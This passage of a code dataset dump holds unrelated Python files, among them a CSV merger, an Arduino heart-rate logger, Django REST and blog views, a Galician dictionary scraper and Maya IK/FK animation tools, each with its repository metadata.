None:\n args.output = \"merge.csv\"\n\n#%%\nfiles = sorted(glob.glob( args.directory+\"/*.csv\" ))\n\nprint('Found %i csv files' % (len(files)))\n\n# unfortunately extracting wabbit isosurfaces results in cluttered CSV files\nd = []\nfor file in files:\n d.append( np.loadtxt(file, delimiter=',', skiprows=1) )\n \n \nd = np.vstack(d)\n\ninsect_tools.write_csv_file( args.directory+\"/\"+args.output, d, header=None, sep=';')", "sub_path": "merge_many_csv.py", "file_name": "merge_many_csv.py", "file_ext": "py", "file_size_in_byte": 956, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 40, "usage_type": "call"}, {"api_name": "insect_tools.write_csv_file", "line_number": 42, "usage_type": "call"}]} {"seq_id": "579224836", "text": "from django.conf import settings\nfrom analytics.utils import api_auth, api_client, api_method\n\nimport requests, uuid\n\n\ndef send_event(user_id, tid, event_category, event_action, event_label, event_value):\n auth = api_auth(settings.API_SERVICE_URL, settings.API_SERVICE_LOGIN, settings.API_SERVICE_PASSWORD)\n client = api_client(auth)\n user = api_method(client, settings.API_SERVICE_URL, ['subscriptions', 'subscribers', 'retrive', {'id': user_id}])\n\n if not user:\n user_uuid = user.uuid\n else:\n user_uuid = uuid.uuid4()\n\n data = {\n 'v': 1,\n 'tid': str(tid),\n 'cid': str(user_uuid),\n 't': 'event',\n 'ec': event_category,\n 'ea': event_action,\n 'el': event_label,\n 'ev': event_value\n }\n url = 'http://www.google-analytics.com/collect'\n requests.post(url, data)\n\n return None\n", "sub_path": "adv_cabinets/views/google/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 872, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "analytics.utils.api_auth", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.settings.API_SERVICE_URL", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.settings.API_SERVICE_LOGIN", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.conf.settings.API_SERVICE_PASSWORD", "line_number": 8, "usage_type": "attribute"}, {"api_name": "analytics.utils.api_client", "line_number": 9, "usage_type": "call"}, {"api_name": "analytics.utils.api_method", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.settings.API_SERVICE_URL", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 10, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 28, "usage_type": "call"}]} {"seq_id": "20979598", "text": "import serial \nimport csv\nimport re\n\nport = \"/dev/cu.usbmodem14501\"\nrate = 9600\n\nsrl_Heartrate = serial.Serial(port,rate)\n#srl_Heartrate.open()\n#filename = input(\"Ardu_heartN.csv->\")\n\nmyfile = open(\"Ardu_heart5.csv\",\"w\")\n'''\nwhile(1):\n val = srl_Heartrate.readline()\n byte_to_str = val.decode()\n dec = int(byte_to_str)\n myfile.write(dec)\n myfile.write('¥n')\n print(dec)\n #writer = csv.writer(file)\n #writer.writerow()\n\nmyfile.close()\n'''\na = 0\ntry: # try:の部分にループ処理を書く\n while True:\n if a % 2 == 0 :\n \n val = srl_Heartrate.readline()\n byte_to_str = val.decode()\n #dec = int(byte_to_str)\n myfile.write(byte_to_str)\n print(byte_to_str)\n #writer = csv.writer(file)\n #writer.writerow()\n else:\n val = srl_Heartrate.readline()\n byte_to_str = val.decode()\n #dec = int(byte_to_str)\n print(\"time:s\",byte_to_str)\n a+=1\nexcept KeyboardInterrupt: # exceptに例外処理を書く\n print('stop!')\n myfile.close()\n srl_Heartrate.close()\n\n\n'''\nwhile(1):\n val = srl_Heartrate.readline()\n byte_to_str = val.decode()\n dec = int(byte_to_str)\n print(dec)\n with open(\"Ardu_Heartrate.csv\",\"w\") as file:\n writer = csv.writer(file)\n writer\n'''\n", "sub_path": "Ardu_csv.py", "file_name": "Ardu_csv.py", "file_ext": "py", "file_size_in_byte": 1422, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "serial.Serial", "line_number": 8, "usage_type": "call"}]} {"seq_id": "427526274", "text": "from restapi import serializers\nfrom fueled import models\nfrom rest_framework import (\n viewsets,\n parsers,\n permissions,\n exceptions,\n mixins\n)\nfrom django.shortcuts import get_object_or_404\nfrom django.db.models import Avg\nfrom django.utils.translation import ugettext as _\n\n\nclass UserRestaurantUniqueMixin(object):\n \"\"\" Add this for views where user and restaurant must be unique together\n Make sure it is included before mixins.CreateModelMixin, as it overrides one of its methods\n \"\"\"\n\n def perform_create(self, serializer):\n user = self.request.user\n restaurant_id = serializer.data['restaurant_id']\n if models.Visit.objects.filter(user=user, restaurant_id=restaurant_id).exists():\n raise exceptions.ValidationError(_('Object with such user_id and restaurant_id already exists'))\n serializer.save(user=self.request.user)\n\n\nclass RestaurantViewSet(viewsets.ReadOnlyModelViewSet):\n\n queryset = models.Restaurant.objects.all()\n serializer_class = serializers.RestaurantSerializer\n permission_classes = (permissions.IsAuthenticated,)\n\n def get_queryset(self):\n blacklisted = models.Visit.objects.filter(user=self.request.user, blacklisted=True)\n queryset = self.queryset.exclude(visit__in=blacklisted)\n queryset = queryset.annotate(rating=Avg('feedback__evaluation')).order_by('-rating')\n return queryset\n\n\nclass VisitViewSet(viewsets.GenericViewSet,\n UserRestaurantUniqueMixin,\n mixins.CreateModelMixin,\n mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin):\n\n queryset = models.Visit.objects.all()\n serializer_class = serializers.VisitSerializer\n parser_classes = (parsers.JSONParser,)\n permission_classes = (permissions.IsAuthenticated,)\n lookup_field = 'restaurant_id'\n\n def get_object(self):\n queryset = self.filter_queryset(self.get_queryset())\n filter_kwargs = {'user': self.request.user, self.lookup_field: self.kwargs[self.lookup_field]}\n obj = get_object_or_404(queryset, **filter_kwargs)\n self.check_object_permissions(self.request, obj)\n return obj\n\n\nclass FeedbackViewSet(viewsets.GenericViewSet,\n UserRestaurantUniqueMixin,\n mixins.CreateModelMixin,\n mixins.RetrieveModelMixin,\n mixins.ListModelMixin):\n\n queryset = models.Feedback.objects.all()\n serializer_class = serializers.FeedbackSerializer\n parser_classes = (parsers.JSONParser,)\n authentication_classes = (permissions.IsAuthenticated,)\n lookup_field = 'restaurant_id'\n\n def get_queryset(self):\n queryset = self.queryset\n restaurant_id = self.request.query_params.get('restaurant_id')\n\n if restaurant_id is None:\n raise exceptions.ValidationError(_('Missing GET param restaurant_id'))\n\n try:\n restaurant_id = int(restaurant_id)\n except ValueError:\n raise exceptions.ValidationError(_('restaurant_id must be integer'))\n\n return queryset.filter(restaurant_id=restaurant_id)\n\n\nclass FeedbackCommentViewSet(viewsets.GenericViewSet,\n mixins.CreateModelMixin,\n mixins.ListModelMixin):\n\n queryset = models.FeedbackComment.objects.all()\n serializer_class = serializers.FeedbackCommentSerializer\n parser_classes = (parsers.JSONParser,)\n authentication_classes = (permissions.IsAuthenticated,)\n lookup_field = 'feedback_id'\n filter_fields = ('feedback_id',)\n\n def get_queryset(self):\n queryset = self.queryset\n feedback_id = self.request.query_params.get('feedback_id')\n\n if feedback_id is None:\n raise exceptions.ValidationError(_('Missing GET param feedback_id'))\n\n try:\n feedback_id = int(feedback_id)\n except ValueError:\n raise exceptions.ValidationError(_('feedback_id must be integer'))\n\n return queryset.filter(feedback_id=feedback_id)\n", "sub_path": "restapi/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4071, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "fueled.models.Visit.objects.filter", "line_number": 23, "usage_type": "call"}, {"api_name": "fueled.models.Visit", "line_number": 23, "usage_type": "attribute"}, {"api_name": "fueled.models", "line_number": 23, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 24, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.ReadOnlyModelViewSet", "line_number": 28, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 28, "usage_type": "name"}, {"api_name": "fueled.models.Restaurant.objects.all", "line_number": 30, "usage_type": "call"}, {"api_name": "fueled.models.Restaurant", "line_number": 30, "usage_type": "attribute"}, {"api_name": "fueled.models", "line_number": 30, "usage_type": "name"}, {"api_name": "restapi.serializers.RestaurantSerializer", "line_number": 31, "usage_type": "attribute"}, {"api_name": "restapi.serializers", "line_number": 31, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 32, "usage_type": "name"}, {"api_name": "fueled.models.Visit.objects.filter", "line_number": 35, "usage_type": "call"}, {"api_name": "fueled.models.Visit", "line_number": 35, "usage_type": "attribute"}, {"api_name": "fueled.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.Avg", "line_number": 37, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 41, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 41, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 43, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 43, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 44, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 44, "usage_type": "name"}, {"api_name": "rest_framework.mixins.UpdateModelMixin", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 45, "usage_type": "name"}, {"api_name": "fueled.models.Visit.objects.all", "line_number": 47, "usage_type": "call"}, {"api_name": "fueled.models.Visit", "line_number": 47, "usage_type": "attribute"}, {"api_name": "fueled.models", "line_number": 47, "usage_type": "name"}, {"api_name": "restapi.serializers.VisitSerializer", "line_number": 48, "usage_type": "attribute"}, {"api_name": "restapi.serializers", "line_number": 48, "usage_type": "name"}, {"api_name": "rest_framework.parsers.JSONParser", "line_number": 49, "usage_type": "attribute"}, {"api_name": "rest_framework.parsers", "line_number": 49, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 50, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 50, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 56, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 61, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 61, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 63, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 63, "usage_type": "name"}, {"api_name": "rest_framework.mixins.RetrieveModelMixin", "line_number": 64, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 64, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 65, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 65, "usage_type": "name"}, {"api_name": "fueled.models.Feedback.objects.all", "line_number": 67, "usage_type": "call"}, {"api_name": "fueled.models.Feedback", "line_number": 67, "usage_type": "attribute"}, {"api_name": "fueled.models", "line_number": 67, "usage_type": "name"}, {"api_name": "restapi.serializers.FeedbackSerializer", "line_number": 68, "usage_type": "attribute"}, {"api_name": "restapi.serializers", "line_number": 68, "usage_type": "name"}, {"api_name": "rest_framework.parsers.JSONParser", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rest_framework.parsers", "line_number": 69, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 70, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 70, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 78, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 78, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 78, "usage_type": "call"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 83, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 83, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 83, "usage_type": "call"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 88, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 88, "usage_type": "name"}, {"api_name": "rest_framework.mixins.CreateModelMixin", "line_number": 89, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 89, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 90, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 90, "usage_type": "name"}, {"api_name": "fueled.models.FeedbackComment.objects.all", "line_number": 92, "usage_type": "call"}, {"api_name": "fueled.models.FeedbackComment", "line_number": 92, "usage_type": "attribute"}, {"api_name": "fueled.models", "line_number": 92, "usage_type": "name"}, {"api_name": "restapi.serializers.FeedbackCommentSerializer", "line_number": 93, "usage_type": "attribute"}, {"api_name": "restapi.serializers", "line_number": 93, "usage_type": "name"}, {"api_name": "rest_framework.parsers.JSONParser", "line_number": 94, "usage_type": "attribute"}, {"api_name": "rest_framework.parsers", "line_number": 94, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 95, "usage_type": "attribute"}, {"api_name": "rest_framework.permissions", "line_number": 95, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 104, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 104, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 104, "usage_type": "call"}, {"api_name": "rest_framework.exceptions.ValidationError", "line_number": 109, "usage_type": "call"}, {"api_name": "rest_framework.exceptions", "line_number": 109, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 109, "usage_type": "call"}]} {"seq_id": "92314866", "text": "# -*- coding:utf-8 -*-\n\nimport codecs\nfrom os import path, walk\nfrom Queue import Queue\nfrom threading import Thread\n\nfrom bs4 import BeautifulSoup\n\nfrom idiomatic.cache import cache_folder\nfrom idiomatic.generators import Generator\nfrom idiomatic.ui import ProgressReporter\nfrom idiomatic.gl.drag import update_cache_if_necessary\n\nfrom encoders import RepJsonEncoder\n\n\ncache_path = cache_folder(u\"pydiomatic/gl/drag/\")\n\n\nclass DragGenerator(Generator):\n\n def __init__(self):\n super(DragGenerator, self).__init__()\n self.resource = \"rag/gl/tolerado.rep.json\"\n self.data = []\n self.queue = Queue()\n\n def start_threads(self):\n for i in range(16):\n t = Thread(target=self.worker)\n t.daemon = True\n t.start()\n\n def worker(self):\n while True:\n file_path, reporter = self.queue.get()\n with codecs.open(file_path, \"r\", \"utf-8\") as fp:\n content = fp.read()\n soup = BeautifulSoup(content)\n lemma_span = soup.find(\"span\", {\"class\": \"Lemma__LemmaSign\"})\n assert(len(soup.find_all(\"span\",\n {\"class\": \"Lemma__LemmaSign\"})) == 1)\n lemma = lemma_span.contents[0].strip()\n replacements = 0\n for references_span in soup.find_all(\"span\",\n {\"class\": \"References\"}):\n # Valid values:\n # “Para todas as acepcións Forma máis recomendable:”\n # “Forma máis recomendable:”\n if references_span.contents[0].strip().endswith(\n u\"Forma máis recomendable:\"):\n replacement_span = references_span.find(\n \"span\", {\"class\": \"Reference\"})\n assert(len(references_span.find_all(\n \"span\", {\"class\": \"Reference\"})) == 1)\n replacement = replacement_span.contents[0].strip()\n replacements += 1\n if replacements:\n assert(replacements == 1)\n self.data.append([lemma, replacement])\n reporter.increase()\n self.queue.task_done()\n\n def parse_cached_data(self):\n root, folder_names, file_names = next(walk(cache_path))\n global reporter\n reporter = ProgressReporter(u\"Parsing DRAG pages\", len(file_names))\n self.start_threads()\n for file_name in file_names:\n self.queue.put((path.join(root, file_name), reporter))\n self.queue.join()\n reporter.done()\n\n def sort_data(self):\n self.data.sort(key=lambda x: x[0])\n\n def content(self):\n update_cache_if_necessary()\n self.parse_cached_data()\n self.sort_data()\n return RepJsonEncoder(indent=4).encode(self.data)\n\n\ndef generators():\n generators_list = []\n generators_list.append(DragGenerator())\n return generators_list\n", "sub_path": "generators/gl/drag.py", "file_name": "drag.py", "file_ext": "py", "file_size_in_byte": 2976, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "idiomatic.cache.cache_folder", "line_number": 18, "usage_type": "call"}, {"api_name": "idiomatic.generators.Generator", "line_number": 21, "usage_type": "name"}, {"api_name": "Queue.Queue", "line_number": 27, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 31, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 38, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 40, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 66, "usage_type": "call"}, {"api_name": "idiomatic.ui.ProgressReporter", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "name"}, {"api_name": "idiomatic.gl.drag.update_cache_if_necessary", "line_number": 79, "usage_type": "call"}, {"api_name": "encoders.RepJsonEncoder", "line_number": 82, "usage_type": "call"}]} {"seq_id": "28693559", "text": "'''\r\n\r\nMaya.Tools.animTools Created By Skies\r\n\r\nOn 2013-03-20 14:57:32\r\n\r\n'''\r\n\r\nimport maya.cmds as mc\r\n\r\n\r\ndef IKtoFK():\r\n switches = mc.ls(sl=1)\r\n for switch in switches:\r\n Side = switch.partition(\"_IKFK_ctrl\")[0]\r\n \r\n # Get Positions\r\n \r\n SW = mc.getAttr(Side+'_IKFK_ctrl.IKFK')\r\n \r\n fkR1 = mc.xform(Side+'_IK_01_jnt', q=True, ro=True)\r\n fkR2 = mc.xform(Side+'_IK_02_jnt', q=True, ro=True)\r\n fkR3 = mc.xform(Side+'_IK_03_jnt', q=True, ws=True, ro=True)\r\n \r\n ik = mc.xform(Side+'_FK_03_jnt', q=True, ws=True, m=True)\r\n pv = mc.xform(Side+'_FK_02_jnt', q=True, ws=True, m=True)\r\n \r\n # IK to FK\r\n if SW == 0:\r\n mc.rotate(fkR1[0],fkR1[1],fkR1[2], Side+'_FK_01_jnt', os=True)\r\n mc.rotate(fkR2[0],fkR2[1],fkR2[2], Side+'_FK_02_jnt', os=True) \r\n mc.rotate(fkR3[0],fkR3[1],fkR3[2], Side+'_FK_03_jnt', ws=True, a=True)\r\n mc.setAttr (Side+'_IKFK_ctrl.IKFK', 1)\r\n \r\n # FK to IK\r\n elif SW == 1:\r\n mc.xform(Side + '_IK_anim', m=ik, ws=1)\r\n mc.xform(Side + '_IK_PoleVector_anim', m=pv, ws=1)\r\n mc.setAttr(Side+'_IKFK_ctrl.IKFK', 0)\r\n \r\n if Side == \"Right\": mc.rotate(180,0,0, Side + '_IK_PoleVector_anim', r=1, os=1)\r\n\r\ndef sideMirror():\r\n switch = mc.ls(sl=1)[0]\r\n Side = switch.partition(\"_IKFK_ctrl\")[0]\r\n if \"Left\" in Side: mirror = Side.replace(\"Left\", \"Right\")\r\n elif \"Right\" in Side: mirror = Side.replace(\"Right\", \"Left\")\r\n \r\n mc.setAttr(Side+'_IKFK_ctrl.IKFK', mc.getAttr(mirror+'_IKFK_ctrl.IKFK'))\r\n \r\n # FK Joints\r\n \r\n if \"arm\" in Side:\r\n clav = mc.xform(mirror.replace(\"_arm\", \"\")+'_clavicule_anim', q=True, ro=True)\r\n mc.xform(Side.replace(\"_arm\", \"\")+'_clavicule_anim', ro=clav)\r\n \r\n fk1 = mc.xform(mirror+'_FK_01_jnt', q=True, ro=True)\r\n fk2 = mc.xform(mirror+'_FK_02_jnt', q=True, ro=True)\r\n fk3 = mc.xform(mirror+'_FK_03_jnt', q=True, ro=True)\r\n mc.xform(Side+'_FK_01_jnt', ro=fk1)\r\n mc.xform(Side+'_FK_02_jnt', ro=fk2)\r\n mc.xform(Side+'_FK_03_jnt', ro=fk3)\r\n \r\n # IK Joints\r\n \r\n ikT = mc.xform(mirror+'_IK_anim', q=True, t=True)\r\n if \"arm\" in Side: mc.xform(Side+'_IK_anim', t=(-ikT[0], -ikT[1], -ikT[2]))\r\n if \"leg\" in Side: mc.xform(Side+'_IK_anim', t=(-ikT[0], ikT[1], ikT[2]))\r\n \r\n ikR = mc.xform(mirror+'_IK_anim', q=True, ro=True)\r\n if \"arm\" in Side: mc.xform(Side+'_IK_anim', ro=(ikR[0], ikR[1], ikR[2]))\r\n if \"leg\" in Side: mc.xform(Side+'_IK_anim', ro=(ikR[0], -ikR[1], -ikR[2]))\r\n \r\n # IK PV\r\n \r\n if \"arm\" in Side:\r\n ikPVT = mc.xform(mirror+'_IK_PoleVector_anim', q=True, t=True)\r\n mc.xform(Side+'_IK_PoleVector_anim', t=(-ikPVT[0], ikPVT[1], ikPVT[2]))\r\n if \"leg\" in Side:\r\n ikPVT = mc.xform(mirror+'_IK_PV_anim', q=True, t=True)\r\n mc.xform(Side+'_IK_PV_anim', t=(-ikPVT[0], ikPVT[1], ikPVT[2]))", "sub_path": "dev/Maya/Tools/animTools.py", "file_name": "animTools.py", "file_ext": "py", "file_size_in_byte": 2972, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "maya.cmds.ls", "line_number": 13, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 13, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 19, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 19, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 21, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 21, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 22, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 22, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 23, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 23, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 25, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 25, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 26, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 26, "usage_type": "name"}, {"api_name": "maya.cmds.rotate", "line_number": 30, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 30, "usage_type": "name"}, {"api_name": "maya.cmds.rotate", "line_number": 31, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 31, "usage_type": "name"}, {"api_name": "maya.cmds.rotate", "line_number": 32, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 32, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 33, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 33, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 37, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 37, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 38, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 38, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 39, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 39, "usage_type": "name"}, {"api_name": "maya.cmds.rotate", "line_number": 41, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 41, "usage_type": "name"}, {"api_name": "maya.cmds.ls", "line_number": 44, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 44, "usage_type": "name"}, {"api_name": "maya.cmds.setAttr", "line_number": 49, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 49, "usage_type": "name"}, {"api_name": "maya.cmds.getAttr", "line_number": 49, "usage_type": "call"}, {"api_name": "maya.cmds.xform", "line_number": 54, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 54, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 55, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 55, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 57, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 57, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 58, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 58, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 59, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 59, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 60, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 60, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 61, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 61, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 62, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 62, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 66, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 66, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 67, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 67, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 68, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 68, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 70, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 70, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 71, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 71, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 72, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 72, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 77, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 77, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 78, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 78, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 80, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 80, "usage_type": "name"}, {"api_name": "maya.cmds.xform", "line_number": 81, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 81, "usage_type": "name"}]} {"seq_id": "152301423", "text": "\"\"\" Render, httpresponse, getobjector404... \"\"\"\nfrom django.http import HttpResponseRedirect, Http404 # , HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.utils import timezone\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.db.models import Q\n\nfrom .models import Post\nfrom .forms import PostForm\n\nfrom comments.models import Comment\n\n\n# Create your views here.\ndef post_create(request):\n \"\"\" Create Post \"\"\"\n if not request.user.is_authenticated():\n raise Http404\n\n if not request.user.is_staff or not request.user.is_superuser:\n raise Http404\n # request.FILES has to be defined when file upload in Form\n form = PostForm(request.POST or None, request.FILES or None)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.user = request.user\n instance.save()\n messages.success(request, 'Post succesfully added')\n return HttpResponseRedirect(instance.get_absolute_url())\n # else:\n # messages.error(request, 'Cannot create post')\n\n context = {\n 'form': form,\n }\n return render(request, 'post_form.html', context)\n\n\ndef post_detail(request, post_slug=None):\n \"\"\" Post Detail \"\"\"\n # instance = Post.objects.get('id=2')\n today = timezone.now().date()\n instance = get_object_or_404(Post, slug=post_slug)\n if not request.user.is_staff or not request.user.is_superuser:\n if instance.draft or instance.publish > today:\n raise Http404\n # Building the generic foreign key and fetch all comments with it\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=obj_id)\n context = {\n 'title': instance.title,\n 'instance': instance,\n 'today': today,\n 'comments': comments,\n }\n return render(request, 'post_detail.html', context)\n\n\ndef post_list(request):\n \"\"\" List all Posts for staff users or superuser\"\"\"\n today = timezone.now().date()\n if request.user.is_staff or request.user.is_superuser:\n posts_list = Post.objects.all()\n is_staff = True\n else:\n # Example using filter function on querying\n # posts_list = Post.objects.filter(draft = False, publish__lte = timezone.now())\n\n # Example using the created Model manager for the filtering\n posts_list = Post.objects.active()\n is_staff = False\n\n # Process search\n query = request.GET.get('q')\n if query:\n posts_list = posts_list.filter(Q(title__icontains=query) |\n Q(content__icontains=query) |\n Q(user__first_name__icontains=query) |\n Q(user__last_name__icontains=query)\n ).distinct()\n\n # Process pages\n paginator = Paginator(posts_list, 5) # Show 5 posts per page\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n posts = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n posts = paginator.page(paginator.num_pages)\n\n context = {\n 'posts': posts,\n 'is_staff': is_staff,\n 'today': today,\n }\n return render(request, 'post_list.html', context)\n\n\ndef post_update(request, post_slug):\n \"\"\" Update Post \"\"\"\n if not request.user.is_staff or not request.user.is_superuser:\n raise Http404\n\n instance = get_object_or_404(Post, slug=post_slug)\n form = PostForm(request.POST or None,\n request.FILES or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n print(form.cleaned_data.get(\"title\"))\n instance.save()\n messages.success(request, 'Post succesfully 